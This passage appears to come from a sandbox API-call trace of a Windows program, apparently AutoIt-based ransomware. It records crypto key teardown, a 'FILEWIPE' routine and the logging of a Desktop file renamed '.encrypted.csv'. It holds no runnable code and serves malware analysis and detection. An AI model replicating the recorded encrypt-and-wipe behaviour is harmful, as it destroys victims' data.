wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.682] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.682] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.682] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.685] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.686] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.686] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.686] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.686] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.686] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.686] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.686] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.687] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.687] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.687] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.687] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.687] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.687] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.687] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.687] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.687] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.687] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.689] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.690] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.690] CharLowerBuffW (in: lpsz="byte[43685]", cchLength=0xb | out: lpsz="byte[43685]") returned 0xb [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.690] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.690] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.690] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.691] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.691] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.691] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.692] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.693] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.693] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1102) returned 1 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.693] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x44e, lpOverlapped=0x0) returned 1 [0022.693] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x44e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1102) returned 1 [0022.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0022.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\n", cchWideChar=68, lpMultiByteStr=0xe8f40510e0, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\n", lpUsedDefaultChar=0x0) returned 68 [0022.694] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069c50*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069c50*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x43, lpOverlapped=0x0) returned 1 [0022.694] CloseHandle (hObject=0x1fc) returned 1 [0022.695] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.695] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.695] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.695] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.695] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.695] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.695] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.696] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.696] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.697] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.697] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.avi", cchWideChar=63, lpMultiByteStr=0x0, 